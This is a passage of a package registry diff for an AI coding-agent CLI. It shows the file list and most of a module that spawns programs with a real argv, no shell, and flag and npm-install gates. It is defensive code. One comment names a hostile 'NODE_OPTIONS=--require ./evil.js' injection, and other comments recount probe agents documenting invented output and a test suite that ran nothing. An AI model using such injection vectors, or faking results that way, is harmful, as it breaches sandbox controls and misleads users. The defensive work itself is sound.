acuvo-code 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +328 -0
- package/ENTERPRISE.md +927 -0
- package/LICENSE +120 -0
- package/README.md +1245 -0
- package/ROADMAP.md +556 -0
- package/bin/acuvo-mcp.mjs +208 -0
- package/bin/acuvo.mjs +3108 -0
- package/lib/acceptance-consent.mjs +168 -0
- package/lib/acceptance.mjs +859 -0
- package/lib/account.mjs +226 -0
- package/lib/acuvo-dir.mjs +72 -0
- package/lib/acuvo-models.mjs +141 -0
- package/lib/apply-patch.mjs +570 -0
- package/lib/ask-user.mjs +173 -0
- package/lib/audit.mjs +530 -0
- package/lib/auto-lease.mjs +174 -0
- package/lib/background.mjs +842 -0
- package/lib/best-of.mjs +334 -0
- package/lib/board.mjs +232 -0
- package/lib/breaker.mjs +93 -0
- package/lib/budget.mjs +1375 -0
- package/lib/builtin-skills.mjs +135 -0
- package/lib/cache-floor.mjs +204 -0
- package/lib/chain.mjs +303 -0
- package/lib/changed-paths.mjs +84 -0
- package/lib/chat.mjs +434 -0
- package/lib/checkpoint.mjs +637 -0
- package/lib/child-lifetime.mjs +71 -0
- package/lib/cli-args.mjs +1255 -0
- package/lib/code-review.mjs +1382 -0
- package/lib/colour.mjs +82 -0
- package/lib/command.mjs +2847 -0
- package/lib/compact.mjs +1151 -0
- package/lib/completion.mjs +515 -0
- package/lib/creative-engines.mjs +779 -0
- package/lib/db-inspect.mjs +1624 -0
- package/lib/delete.mjs +111 -0
- package/lib/design-loop.mjs +570 -0
- package/lib/diff-preview.mjs +1044 -0
- package/lib/doctor.mjs +2139 -0
- package/lib/dropped.mjs +216 -0
- package/lib/edit-diagnostics.mjs +277 -0
- package/lib/edit.mjs +460 -0
- package/lib/env-file.mjs +250 -0
- package/lib/escalate.mjs +702 -0
- package/lib/evaluate.mjs +284 -0
- package/lib/fetch-text.mjs +952 -0
- package/lib/fleet-budget.mjs +256 -0
- package/lib/gh.mjs +1536 -0
- package/lib/git.mjs +1341 -0
- package/lib/github.mjs +261 -0
- package/lib/h2.mjs +194 -0
- package/lib/handoff.mjs +417 -0
- package/lib/hooks.mjs +626 -0
- package/lib/http-probe.mjs +907 -0
- package/lib/image-director.mjs +322 -0
- package/lib/image-edit.mjs +522 -0
- package/lib/imagegen.mjs +998 -0
- package/lib/interrupt.mjs +234 -0
- package/lib/learned.mjs +353 -0
- package/lib/lease-watch.mjs +115 -0
- package/lib/lease.mjs +868 -0
- package/lib/localize.mjs +834 -0
- package/lib/log-tail.mjs +1052 -0
- package/lib/login.mjs +157 -0
- package/lib/lsp.mjs +1613 -0
- package/lib/mcp-consent.mjs +377 -0
- package/lib/mcp-defaults.mjs +780 -0
- package/lib/mcp-server.mjs +1343 -0
- package/lib/mcp.mjs +1263 -0
- package/lib/media.mjs +1283 -0
- package/lib/memory-workspace.mjs +179 -0
- package/lib/model-json.mjs +132 -0
- package/lib/model-tier.mjs +171 -0
- package/lib/model.mjs +1445 -0
- package/lib/parallel.mjs +144 -0
- package/lib/perchance.mjs +210 -0
- package/lib/plan-coherence.mjs +1461 -0
- package/lib/plan-ledger.mjs +981 -0
- package/lib/plan.mjs +461 -0
- package/lib/policy.mjs +783 -0
- package/lib/prefix-order.mjs +38 -0
- package/lib/project-memory.mjs +127 -0
- package/lib/prompt.mjs +109 -0
- package/lib/python.mjs +862 -0
- package/lib/rcfile.mjs +853 -0
- package/lib/read-window.mjs +743 -0
- package/lib/refute-tools.mjs +34 -0
- package/lib/refute.mjs +806 -0
- package/lib/repl-driver.mjs +264 -0
- package/lib/repl.mjs +324 -0
- package/lib/replay.mjs +1218 -0
- package/lib/repo-map.mjs +1101 -0
- package/lib/report.mjs +419 -0
- package/lib/search-rank.mjs +99 -0
- package/lib/search.mjs +659 -0
- package/lib/secret-paths.mjs +54 -0
- package/lib/session.mjs +1017 -0
- package/lib/skills.mjs +703 -0
- package/lib/slash.mjs +356 -0
- package/lib/spawn-argv.mjs +1151 -0
- package/lib/spend.mjs +250 -0
- package/lib/steer.mjs +280 -0
- package/lib/stream.mjs +253 -0
- package/lib/stuck.mjs +712 -0
- package/lib/subagent.mjs +749 -0
- package/lib/terminal-graphics.mjs +171 -0
- package/lib/tool-prefix.mjs +226 -0
- package/lib/tool-shortlist.mjs +162 -0
- package/lib/tools.mjs +2333 -0
- package/lib/tsserver.mjs +423 -0
- package/lib/turn.mjs +5672 -0
- package/lib/untrusted-block.mjs +271 -0
- package/lib/verify-claim.mjs +299 -0
- package/lib/vision.mjs +330 -0
- package/lib/voice-task.mjs +561 -0
- package/lib/warm-provider.mjs +255 -0
- package/lib/websearch.mjs +401 -0
- package/lib/workspace.mjs +928 -0
- package/lib/write-approval.mjs +235 -0
- package/lib/write-many.mjs +162 -0
- package/package.json +62 -0
- package/scripts/bundle.mjs +768 -0
- package/scripts/cache-floor.mjs +176 -0
- package/scripts/machine.mjs +226 -0
- package/scripts/test.mjs +139 -0
- package/skills/accessibility.md +87 -0
- package/skills/acuvo-design-system.md +123 -0
- package/skills/animation.md +84 -0
- package/skills/api-design.md +82 -0
- package/skills/auth-and-sessions.md +78 -0
- package/skills/build-with-a-framework.md +101 -0
- package/skills/colour-and-contrast.md +112 -0
- package/skills/creative-engines.md +81 -0
- package/skills/css-layout.md +85 -0
- package/skills/data-and-charts.md +77 -0
- package/skills/debugging.md +76 -0
- package/skills/designing-by-looking.md +84 -0
- package/skills/error-handling.md +78 -0
- package/skills/forms-and-validation.md +93 -0
- package/skills/nextjs-app-router.md +75 -0
- package/skills/page-composition.md +103 -0
- package/skills/performance.md +77 -0
- package/skills/plan-before-building.md +52 -0
- package/skills/planning-and-delegating.md +72 -0
- package/skills/refactoring.md +70 -0
- package/skills/security-basics.md +76 -0
- package/skills/state-management.md +73 -0
- package/skills/supabase-multitenant.md +72 -0
- package/skills/typescript-strict.md +90 -0
- package/skills/typography.md +135 -0
- package/skills/verify-your-own-work.md +62 -0
- package/skills/web-app-quality.md +62 -0
- package/skills/working-in-the-background.md +64 -0
|
@@ -0,0 +1,1151 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* ── ⭐⭐ RUN A PROGRAM WITH A REAL ARGV — THE PRIMITIVE THAT WAS MISSING ─────
|
|
3
|
+
*
|
|
4
|
+
* `command.mjs` takes ONE STRING and has to decide, from that string alone,
|
|
5
|
+
* whether a character is the model composing a second command or the model
|
|
6
|
+
* passing a value to the program it named. It cannot tell, so it refuses the
|
|
7
|
+
* character. That is the correct decision for a string, and it is why the
|
|
8
|
+
* string is the wrong input.
|
|
9
|
+
*
|
|
10
|
+
* ── WHAT IT COST, MEASURED, NOT ARGUED ──────────────────────────────────────
|
|
11
|
+
* Three independent probe runs hit this wall and two of them SHIPPED A WRONG
|
|
12
|
+
* ARTIFACT because of it:
|
|
13
|
+
*
|
|
14
|
+
* · `node bin/todo.js add "buy milk"` → refused (no quote in SAFE_COMMAND_CHARS)
|
|
15
|
+
* · `node bin/todo.js list --all` → refused ("--all is not an allowed node flag")
|
|
16
|
+
* · `node src/caps.mjs -- --name Angus`→ refused (every `--` token is tested,
|
|
17
|
+
* wherever it sits)
|
|
18
|
+
* · `node --test test/*.test.mjs` → refused ("*" is not allowed)
|
|
19
|
+
*
|
|
20
|
+
* The agent had WRITTEN those flags. It could never execute the code paths it
|
|
21
|
+
* had just authored, so it documented what it imagined the output was: a README
|
|
22
|
+
* with an invented column separator, an invented error format, and a `npm test`
|
|
23
|
+
* that runs ZERO tests and exits 0 while the README calls it the test suite.
|
|
24
|
+
* One run escaped only by spending two of its eight rounds hand-rolling spawns.
|
|
25
|
+
*
|
|
26
|
+
* ⭐ THE FIX IS NOT A LOOSER WHITELIST. Widening `SAFE_COMMAND_CHARS` to admit a
|
|
27
|
+
* quote would make the string ambiguous in exactly the way the whitelist exists
|
|
28
|
+
* to prevent. The fix is to stop having a string: this module takes
|
|
29
|
+
* `program` + `args[]` and hands them to `spawn` with `shell: false`. A quote, a
|
|
30
|
+
* space, a `--anything`, a `;`, a `>` — all of them are DATA in an argv slot,
|
|
31
|
+
* because there is no parser left to reinterpret them. There is still no shell,
|
|
32
|
+
* and there is still no way to name a fifth binary.
|
|
33
|
+
*
|
|
34
|
+
* ── ⚠️ THE ARGV BOUNDARY, WHICH IS THE ONE IDEA IN HERE ─────────────────────
|
|
35
|
+
* For `node`, the tokens before the first non-flag token are NODE'S flags and
|
|
36
|
+
* are validated exactly as before — `--eval`, `--require`, `--env-file`,
|
|
37
|
+
* `--inspect` and `--watch` stay closed for their existing reasons. The first
|
|
38
|
+
* non-flag token is the SCRIPT PATH and must live in the workspace.
|
|
39
|
+
*
|
|
40
|
+
* Everything AFTER the script path is passed through untouched, and this is
|
|
41
|
+
* deliberate rather than lax: node has already stopped reading by then. Those
|
|
42
|
+
* tokens are handed to the script as `process.argv`; node never interprets them,
|
|
43
|
+
* so re-applying node's flag rules to them refuses `--pri high` for a reason
|
|
44
|
+
* that is not true. That mis-applied rule is the bug this module exists to kill.
|
|
45
|
+
*
|
|
46
|
+
* ── ⚠️ AND WHY THE FLAG LISTS ARE NOT COPIED INTO THIS FILE ─────────────────
|
|
47
|
+
* The obvious implementation duplicates `NODE_FLAGS` and `REFUSED_NODE_FLAGS`
|
|
48
|
+
* here (they are module-private in `command.mjs`). A second copy is a security
|
|
49
|
+
* bug waiting for its first edit: someone closes a flag over there, this file
|
|
50
|
+
* keeps allowing it, and the safer-looking module is the hole. So each
|
|
51
|
+
* pre-boundary flag is checked by ASKING `command.mjs` about that one token —
|
|
52
|
+
* `validateCommand` is pure, and the answer, including the refusal sentence, is
|
|
53
|
+
* whatever `command.mjs` says today. One authority, no drift.
|
|
54
|
+
*
|
|
55
|
+
* ⚠️ That probe is the ONLY place a string is built, it is built from a fixed
|
|
56
|
+
* template around a single already-character-checked flag, and it is never
|
|
57
|
+
* spawned. This module has no `command` parameter and never splits one.
|
|
58
|
+
* (`runPackageScript` splits one other string — a `package.json` script BODY —
|
|
59
|
+
* and says so loudly at its own definition.)
|
|
60
|
+
*
|
|
61
|
+
* ── ⚠️ WHAT THIS DELIBERATELY DOES NOT DO ───────────────────────────────────
|
|
62
|
+
* · No detached / background spawning. A long-running server is a different
|
|
63
|
+
* primitive with a different lifecycle problem, and bolting it on here would
|
|
64
|
+
* mean this function sometimes returns before the work happened.
|
|
65
|
+
* · No process GROUP kill on timeout. Making a group requires `detached: true`,
|
|
66
|
+
* which is the previous bullet. So: the child is SIGKILLed, and a grandchild
|
|
67
|
+
* it spawned can outlive it. Stated rather than papered over.
|
|
68
|
+
* · No env parameter. The child's environment is `scrubEnvironment(process.env)`
|
|
69
|
+
* and nothing else — a model that can name an environment variable can name
|
|
70
|
+
* `NODE_OPTIONS=--require ./evil.js`, which would reopen every flag refusal
|
|
71
|
+
* above from a direction nobody is looking at.
|
|
72
|
+
*/
|
|
73
|
+
|
|
74
|
+
import { existsSync, readFileSync, readdirSync, realpathSync } from 'node:fs';
|
|
75
|
+
import { join, relative, resolve, sep } from 'node:path';
|
|
76
|
+
|
|
77
|
+
import {
|
|
78
|
+
ALLOWED_BINARIES,
|
|
79
|
+
ALLOWED_NPX_PACKAGES,
|
|
80
|
+
ALLOWED_SCRIPT_BINARIES,
|
|
81
|
+
DEFAULT_COMMAND_TIMEOUT_MS,
|
|
82
|
+
MAX_COMMAND_TIMEOUT_MS,
|
|
83
|
+
ALLOW_INSTALL_ENV,
|
|
84
|
+
INSTALL_MIN_TIMEOUT_MS,
|
|
85
|
+
buildInvocation,
|
|
86
|
+
childEnvironment,
|
|
87
|
+
inspectNpmrcForInstall,
|
|
88
|
+
inspectManifestForInstall,
|
|
89
|
+
inspectLockfileForInstall,
|
|
90
|
+
installEnabled,
|
|
91
|
+
scrubEnvironment,
|
|
92
|
+
spawnBounded,
|
|
93
|
+
validateCommand,
|
|
94
|
+
validateNpmInstallArgv,
|
|
95
|
+
} from './command.mjs';
|
|
96
|
+
import { globToRegExp } from './search.mjs';
|
|
97
|
+
import { resolveInWorkspace } from './workspace.mjs';
|
|
98
|
+
|
|
99
|
+
/** 64 arguments is a generous CLI invocation and an implausible accident. */
|
|
100
|
+
export const MAX_ARGS = 64;
|
|
101
|
+
/** A single argument longer than this is a file's contents, not an argument. */
|
|
102
|
+
export const MAX_ARG_CHARS = 512;
|
|
103
|
+
/** One glob may name this many files; more than this and the pattern is wrong. */
|
|
104
|
+
export const MAX_GLOB_MATCHES = 200;
|
|
105
|
+
/** After expansion. `**\/*.mjs` in a big repo must not become a 5,000-slot argv. */
|
|
106
|
+
export const MAX_TOTAL_ARGS = 256;
|
|
107
|
+
/** Bounds the walk itself, so a glob in a huge tree cannot take a minute. */
|
|
108
|
+
const MAX_WALK_FILES = 20_000;
|
|
109
|
+
|
|
110
|
+
/**
|
|
111
|
+
* ⚠️ SAME FOUR DIRECTORIES `search.mjs` SKIPS, for the same reason: a glob that
|
|
112
|
+
* matches inside `node_modules` is never what was meant, and expanding one into
|
|
113
|
+
* argv would hand a test runner ten thousand other people's files.
|
|
114
|
+
*/
|
|
115
|
+
const GLOB_SKIP_DIRS = new Set(['node_modules', '.git', 'dist', 'build']);
|
|
116
|
+
|
|
117
|
+
/**
|
|
118
|
+
* ⚠️ REFUSED BY NAME, WITH THE REASON, because "not an allowed subcommand" reads
|
|
119
|
+
* like an omission and these are decisions. Every one of them fetches code from
|
|
120
|
+
* a registry and runs its lifecycle scripts, which is arbitrary remote code
|
|
121
|
+
* arriving through a command that looks like housekeeping.
|
|
122
|
+
*
|
|
123
|
+
* ⚠️ `install` / `ci` / `i` / `add` ARE STILL IN THIS SET AND STILL REFUSED BY
|
|
124
|
+
* DEFAULT. They are lifted out one layer up (`npmInstallPlan`) only when the
|
|
125
|
+
* OPERATOR has set `ACUVO_ALLOW_INSTALL=1` — a variable the agent has no verb
|
|
126
|
+
* that reaches. Leaving them here rather than deleting them is deliberate: the
|
|
127
|
+
* default surface's refusal, and its wording, is unchanged.
|
|
128
|
+
*/
|
|
129
|
+
const REFUSED_NPM_SUBCOMMANDS = new Set([
|
|
130
|
+
'install', 'ci', 'i', 'add', 'exec', 'x', 'publish', 'link', 'update', 'audit',
|
|
131
|
+
]);
|
|
132
|
+
|
|
133
|
+
/**
|
|
134
|
+
* ── ⭐ INSTALL IS AN **ARGV** OPERATION, AND THIS IS THE PRIMARY DOOR ────────
|
|
135
|
+
*
|
|
136
|
+
* `run_command` can express `npm install zod`, but the string tokenizer's
|
|
137
|
+
* character whitelist has no `^` in it, so `zod@^4` is unreachable there and
|
|
138
|
+
* always will be — widening that class for a range operator would be paying a
|
|
139
|
+
* global price for one command. Here there is no string and no parser: `["install",
|
|
140
|
+
* "zod@^4.1.0"]` is two argv slots and the spec is checked as DATA.
|
|
141
|
+
*
|
|
142
|
+
* ⚠️ THE DECISION IS NOT RE-IMPLEMENTED HERE. `command.mjs` owns what an install
|
|
143
|
+
* spec may be, which flags are allowed, and the fact that `--ignore-scripts` is
|
|
144
|
+
* forced at spawn time. This function assembles a token list and asks. A second
|
|
145
|
+
* copy of that policy is the exact shape `command.mjs`'s own header names as the
|
|
146
|
+
* bug — "the safer-looking module is the hole" — and this package has already
|
|
147
|
+
* shipped one RCE that printed a check mark.
|
|
148
|
+
*
|
|
149
|
+
* ⚠️ AND IT IS NOT AVAILABLE TO `start_process`. An install in the background is
|
|
150
|
+
* a process nobody waits for, whose receipt nobody reads, racing the very
|
|
151
|
+
* `node`/`npm test` run that needs the dependency it is fetching. See
|
|
152
|
+
* `planSingleSpawn`.
|
|
153
|
+
*
|
|
154
|
+
* @param {string[]} args the raw argv the model supplied
|
|
155
|
+
* @param {NodeJS.ProcessEnv} env
|
|
156
|
+
*/
|
|
157
|
+
function npmInstallPlan(args, env) {
|
|
158
|
+
return validateNpmInstallArgv(args, { allowInstall: installEnabled(env) });
|
|
159
|
+
}
|
|
160
|
+
|
|
161
|
+
/** The four npm subcommands that fetch. Kept in step with `command.mjs` by the
|
|
162
|
+
* test `npm-install.test.mjs`, which asserts each one reaches the same gate. */
|
|
163
|
+
const INSTALL_SUBCOMMANDS = new Set(['install', 'i', 'add', 'ci']);
|
|
164
|
+
|
|
165
|
+
/**
|
|
166
|
+
* ── ⭐ THE ONE PLACE npm IS REALLY SPAWNED ──────────────────────────────────
|
|
167
|
+
*
|
|
168
|
+
* Everywhere else in this module npm is *planned* and its script body is run
|
|
169
|
+
* directly, because npm hands script bodies to a shell. An install has no script
|
|
170
|
+
* body — it is npm's own resolver doing npm's own job — so here npm really does
|
|
171
|
+
* run, through its `npm-cli.js` entry point (never a `.cmd` shim; see
|
|
172
|
+
* `buildInvocation`) with `shell: false` and a scrubbed environment.
|
|
173
|
+
*
|
|
174
|
+
* ⚠️ THE `.npmrc` AND `package.json` PRE-FLIGHT IS THE SAME PURE CHECK
|
|
175
|
+
* `executeRunCommand` runs, imported rather than re-written. Both files are
|
|
176
|
+
* inside the workspace and therefore agent-writable, and a workspace `.npmrc`
|
|
177
|
+
* that redirects `registry=` would make every other check here decorative.
|
|
178
|
+
*/
|
|
179
|
+
async function runNpmInstall({ root, args, timeoutMs, spawnImpl, env }) {
|
|
180
|
+
const plan = npmInstallPlan(args, env);
|
|
181
|
+
if (!plan.ok) return plan;
|
|
182
|
+
|
|
183
|
+
const pkgPath = resolveInWorkspace(root, 'package.json', 'read');
|
|
184
|
+
if (!pkgPath.ok || !existsSync(pkgPath.absolute)) {
|
|
185
|
+
return { ok: false, error: `npm ${plan.npmInstall.sub} needs a package.json in this workspace — an install into a directory with no manifest records the dependency nowhere. Write one first.` };
|
|
186
|
+
}
|
|
187
|
+
/**
|
|
188
|
+
* ⚠️ THE SAME TWO FILES AS `command.mjs`, CHECKED HERE TOO. `run_program`
|
|
189
|
+
* reaches npm through this path and not through that one, so a check written
|
|
190
|
+
* in only one of them holds for only one of the two tools — which is how the
|
|
191
|
+
* `--no-run` gap got in, one file over.
|
|
192
|
+
*/
|
|
193
|
+
let manifestText = '';
|
|
194
|
+
try {
|
|
195
|
+
manifestText = readFileSync(pkgPath.absolute, 'utf8');
|
|
196
|
+
} catch (err) {
|
|
197
|
+
return { ok: false, error: `package.json could not be read, so this install cannot be checked: ${err instanceof Error ? err.message : String(err)}` };
|
|
198
|
+
}
|
|
199
|
+
const manifest = inspectManifestForInstall(manifestText);
|
|
200
|
+
if (!manifest.ok) return manifest;
|
|
201
|
+
const lockPath = resolveInWorkspace(root, 'package-lock.json', 'read');
|
|
202
|
+
if (lockPath.ok && existsSync(lockPath.absolute)) {
|
|
203
|
+
let lockText = '';
|
|
204
|
+
try {
|
|
205
|
+
lockText = readFileSync(lockPath.absolute, 'utf8');
|
|
206
|
+
} catch (err) {
|
|
207
|
+
return { ok: false, error: `package-lock.json exists but could not be read, so this install cannot be checked: ${err instanceof Error ? err.message : String(err)}` };
|
|
208
|
+
}
|
|
209
|
+
const lock = inspectLockfileForInstall(lockText);
|
|
210
|
+
if (!lock.ok) return lock;
|
|
211
|
+
}
|
|
212
|
+
const rcPath = resolveInWorkspace(root, '.npmrc', 'read');
|
|
213
|
+
if (rcPath.ok && existsSync(rcPath.absolute)) {
|
|
214
|
+
let rcText = '';
|
|
215
|
+
try {
|
|
216
|
+
rcText = readFileSync(rcPath.absolute, 'utf8');
|
|
217
|
+
} catch (err) {
|
|
218
|
+
return { ok: false, error: `.npmrc exists but could not be read, so this install cannot be checked: ${err instanceof Error ? err.message : String(err)}` };
|
|
219
|
+
}
|
|
220
|
+
const rc = inspectNpmrcForInstall(rcText);
|
|
221
|
+
if (!rc.ok) return rc;
|
|
222
|
+
}
|
|
223
|
+
|
|
224
|
+
const inv = buildInvocation({ binary: 'npm', tokens: plan.tokens }, root);
|
|
225
|
+
if (!inv.ok) return { ok: false, error: inv.error };
|
|
226
|
+
|
|
227
|
+
/**
|
|
228
|
+
* ⚠️ A FLOOR, NOT THE CALLER'S NUMBER — the one deviation in this package from
|
|
229
|
+
* "honour the timeout exactly", argued in full at `INSTALL_MIN_TIMEOUT_MS`.
|
|
230
|
+
* The dispatcher hands every `run_program` call the 120s default, and a cold
|
|
231
|
+
* install of a real dependency tree exceeds it routinely; a killed install
|
|
232
|
+
* leaves a half-populated `node_modules` that the next command reads as
|
|
233
|
+
* success.
|
|
234
|
+
*/
|
|
235
|
+
const requested = typeof timeoutMs === 'number' && Number.isFinite(timeoutMs) ? timeoutMs : 0;
|
|
236
|
+
const bounded = boundTimeout(Math.max(requested, INSTALL_MIN_TIMEOUT_MS));
|
|
237
|
+
const run = await spawnPlanned({ file: inv.file, spawnArgs: inv.args, cwd: root, timeoutMs: bounded, spawnImpl });
|
|
238
|
+
if (!run.ok) return run;
|
|
239
|
+
|
|
240
|
+
return {
|
|
241
|
+
ok: true,
|
|
242
|
+
program: 'npm',
|
|
243
|
+
argv: plan.tokens,
|
|
244
|
+
/** ⭐ The receipt that proves `--ignore-scripts` was really there: this is
|
|
245
|
+
* the argv that hit the OS, forced flag included. */
|
|
246
|
+
spawnArgv: [inv.file, ...inv.args],
|
|
247
|
+
installed: run.exitCode === 0 && !run.timedOut
|
|
248
|
+
? readInstalledRangesFrom(pkgPath.absolute, plan.npmInstall.packages)
|
|
249
|
+
: null,
|
|
250
|
+
exitCode: run.exitCode,
|
|
251
|
+
signal: run.signal,
|
|
252
|
+
timedOut: run.timedOut,
|
|
253
|
+
stdout: run.stdout,
|
|
254
|
+
stderr: run.stderr,
|
|
255
|
+
truncated: run.truncated,
|
|
256
|
+
durationMs: run.durationMs,
|
|
257
|
+
passed: run.exitCode === 0 && !run.timedOut,
|
|
258
|
+
};
|
|
259
|
+
}
|
|
260
|
+
|
|
261
|
+
/**
|
|
262
|
+
* ⚠️ A REQUESTED PACKAGE MISSING FROM package.json AFTERWARDS IS REPORTED AS
|
|
263
|
+
* `null`, NOT OMITTED. npm exits 0 on plenty of partial outcomes and a receipt
|
|
264
|
+
* that quietly drops the line it could not confirm is the "green run, nothing
|
|
265
|
+
* happened" failure this package keeps finding in itself.
|
|
266
|
+
*/
|
|
267
|
+
function readInstalledRangesFrom(absPackageJson, packages) {
|
|
268
|
+
const blank = packages.map((p) => ({ name: p.name, range: null, section: null }));
|
|
269
|
+
let pkg;
|
|
270
|
+
try {
|
|
271
|
+
pkg = JSON.parse(readFileSync(absPackageJson, 'utf8'));
|
|
272
|
+
} catch {
|
|
273
|
+
return blank;
|
|
274
|
+
}
|
|
275
|
+
const sections = ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies'];
|
|
276
|
+
return packages.map((p) => {
|
|
277
|
+
for (const section of sections) {
|
|
278
|
+
const block = pkg?.[section];
|
|
279
|
+
if (block && typeof block === 'object' && typeof block[p.name] === 'string') {
|
|
280
|
+
return { name: p.name, range: block[p.name], section };
|
|
281
|
+
}
|
|
282
|
+
}
|
|
283
|
+
return { name: p.name, range: null, section: null };
|
|
284
|
+
});
|
|
285
|
+
}
|
|
286
|
+
|
|
287
|
+
/**
|
|
288
|
+
* The character set a PRE-BOUNDARY flag may use. Not a safety boundary on its
|
|
289
|
+
* own — it exists so the one-token probe below is always well formed, and so a
|
|
290
|
+
* flag containing a space gets a sentence about flags instead of a sentence
|
|
291
|
+
* about shells.
|
|
292
|
+
*/
|
|
293
|
+
const FLAG_TOKEN = /^[A-Za-z0-9._\-/=:]+$/;
|
|
294
|
+
|
|
295
|
+
const isGlob = (s) => typeof s === 'string' && /[*?]/.test(s);
|
|
296
|
+
const isFlag = (s) => typeof s === 'string' && s.startsWith('-') && s !== '-';
|
|
297
|
+
|
|
298
|
+
/**
|
|
299
|
+
* @typedef {{ ok: false, error: string }} ArgvRefused
|
|
300
|
+
* @typedef {{ ok: true, args: string[] }} ArgsAccepted
|
|
301
|
+
*/
|
|
302
|
+
|
|
303
|
+
/**
|
|
304
|
+
* Shape and size of the argument array. Nothing here is about safety from a
|
|
305
|
+
* shell — there is no shell. It is about a model that hands us a 40MB string or
|
|
306
|
+
* an object where an array belongs.
|
|
307
|
+
*
|
|
308
|
+
* ⚠️ Newline and carriage return are refused even though argv carries them
|
|
309
|
+
* fine. They break every transcript, every log line and every human reading
|
|
310
|
+
* "what really ran", and an argument that needs one wants a file.
|
|
311
|
+
*
|
|
312
|
+
* @returns {ArgsAccepted | ArgvRefused}
|
|
313
|
+
*/
|
|
314
|
+
export function checkArgList(args) {
|
|
315
|
+
if (args === undefined || args === null) return { ok: true, args: [] };
|
|
316
|
+
if (!Array.isArray(args)) {
|
|
317
|
+
return { ok: false, error: 'args must be an ARRAY of strings, one argument per slot — that is the whole point of this tool. ["add", "buy milk"] is two arguments; "add buy milk" is not.' };
|
|
318
|
+
}
|
|
319
|
+
if (args.length > MAX_ARGS) {
|
|
320
|
+
return { ok: false, error: `${args.length} arguments, over the ${MAX_ARGS} limit` };
|
|
321
|
+
}
|
|
322
|
+
for (let i = 0; i < args.length; i += 1) {
|
|
323
|
+
const a = args[i];
|
|
324
|
+
if (typeof a !== 'string') return { ok: false, error: `args[${i}] is ${typeof a}, not a string — numbers and booleans must be written as strings` };
|
|
325
|
+
if (a.length > MAX_ARG_CHARS) return { ok: false, error: `args[${i}] is ${a.length} characters, over the ${MAX_ARG_CHARS} limit — write it to a file and pass the path` };
|
|
326
|
+
if (a.includes('\u0000')) return { ok: false, error: `args[${i}] contains a NUL byte, which truncates the argument in some syscalls` };
|
|
327
|
+
if (/[\r\n]/.test(a)) return { ok: false, error: `args[${i}] contains a newline — write multi-line input to a file and pass the path instead` };
|
|
328
|
+
}
|
|
329
|
+
return { ok: true, args: args.slice() };
|
|
330
|
+
}
|
|
331
|
+
|
|
332
|
+
/** Depth-first, sorted, bounded, and never inside the four skipped directories. */
|
|
333
|
+
function* walkWorkspace(dir, budget) {
|
|
334
|
+
let entries;
|
|
335
|
+
try {
|
|
336
|
+
entries = readdirSync(dir, { withFileTypes: true });
|
|
337
|
+
} catch {
|
|
338
|
+
return; // an unreadable directory is skipped, never fatal
|
|
339
|
+
}
|
|
340
|
+
entries.sort((a, b) => a.name.localeCompare(b.name));
|
|
341
|
+
for (const e of entries) {
|
|
342
|
+
if (budget.seen >= MAX_WALK_FILES) return;
|
|
343
|
+
const abs = join(dir, e.name);
|
|
344
|
+
if (e.isDirectory()) {
|
|
345
|
+
if (GLOB_SKIP_DIRS.has(e.name)) continue;
|
|
346
|
+
yield* walkWorkspace(abs, budget);
|
|
347
|
+
} else if (e.isFile()) {
|
|
348
|
+
budget.seen += 1;
|
|
349
|
+
yield abs;
|
|
350
|
+
}
|
|
351
|
+
}
|
|
352
|
+
}
|
|
353
|
+
|
|
354
|
+
/**
|
|
355
|
+
* ── ⭐ THE VACUOUS-GREEN FIX ────────────────────────────────────────────────
|
|
356
|
+
*
|
|
357
|
+
* `node --test test/*.test.mjs` is the single most common test invocation in
|
|
358
|
+
* modern Node, and a shell is what normally turns the `*` into filenames. There
|
|
359
|
+
* is no shell here, so either WE expand it or the pattern reaches node as a
|
|
360
|
+
* literal filename that does not exist.
|
|
361
|
+
*
|
|
362
|
+
* ⚠️ AND A ZERO-MATCH GLOB IS AN ERROR, NEVER A PASSTHROUGH. This is the whole
|
|
363
|
+
* reason the function exists rather than being three lines inline. Observed:
|
|
364
|
+
* a project shipped with `"test": "node --test test/*.test.mjs"`, no `test/`
|
|
365
|
+
* directory, and `npm test` EXITED 0 having run nothing — while its README
|
|
366
|
+
* documented that command as the way to run the suite. A green light for an
|
|
367
|
+
* empty suite is worse than a red one, because nobody looks again.
|
|
368
|
+
*
|
|
369
|
+
* Matching is SHELL semantics against the workspace-relative path: `*` does not
|
|
370
|
+
* cross `/`, `**` does. It is not "find a file with this name anywhere" —
|
|
371
|
+
* `find_files` is that tool, and conflating them would make `*.mjs` quietly
|
|
372
|
+
* match a hundred files in `src/`.
|
|
373
|
+
*
|
|
374
|
+
* @param {string} root
|
|
375
|
+
* @param {string[]} args
|
|
376
|
+
* @returns {{ ok: true, args: string[], expanded: {pattern: string, count: number}[] } | ArgvRefused}
|
|
377
|
+
*/
|
|
378
|
+
export function expandArgGlobs(root, args) {
|
|
379
|
+
const list = Array.isArray(args) ? args : [];
|
|
380
|
+
if (!list.some(isGlob)) return { ok: true, args: list.slice(), expanded: [] };
|
|
381
|
+
|
|
382
|
+
let realRoot;
|
|
383
|
+
try {
|
|
384
|
+
realRoot = realpathSync(resolve(root));
|
|
385
|
+
} catch {
|
|
386
|
+
return { ok: false, error: `workspace directory does not exist: ${root}` };
|
|
387
|
+
}
|
|
388
|
+
|
|
389
|
+
// Walked ONCE and reused by every pattern — three globs in one argv is normal
|
|
390
|
+
// and three tree walks is not.
|
|
391
|
+
const files = [];
|
|
392
|
+
for (const abs of walkWorkspace(realRoot, { seen: 0 })) {
|
|
393
|
+
const rel = relative(realRoot, abs).split(sep).join('/');
|
|
394
|
+
// eslint-disable-next-line no-control-regex
|
|
395
|
+
if (/[\u0000-\u001f]/.test(rel)) continue; // a filename that would corrupt the transcript
|
|
396
|
+
files.push(rel);
|
|
397
|
+
}
|
|
398
|
+
files.sort();
|
|
399
|
+
|
|
400
|
+
const out = [];
|
|
401
|
+
const expanded = [];
|
|
402
|
+
for (const arg of list) {
|
|
403
|
+
if (!isGlob(arg)) { out.push(arg); continue; }
|
|
404
|
+
let rx;
|
|
405
|
+
try {
|
|
406
|
+
rx = globToRegExp(arg);
|
|
407
|
+
} catch {
|
|
408
|
+
return { ok: false, error: `"${arg}" is not a usable glob — only *, ** and ? are supported` };
|
|
409
|
+
}
|
|
410
|
+
const hits = files.filter((f) => rx.test(f));
|
|
411
|
+
if (hits.length === 0) {
|
|
412
|
+
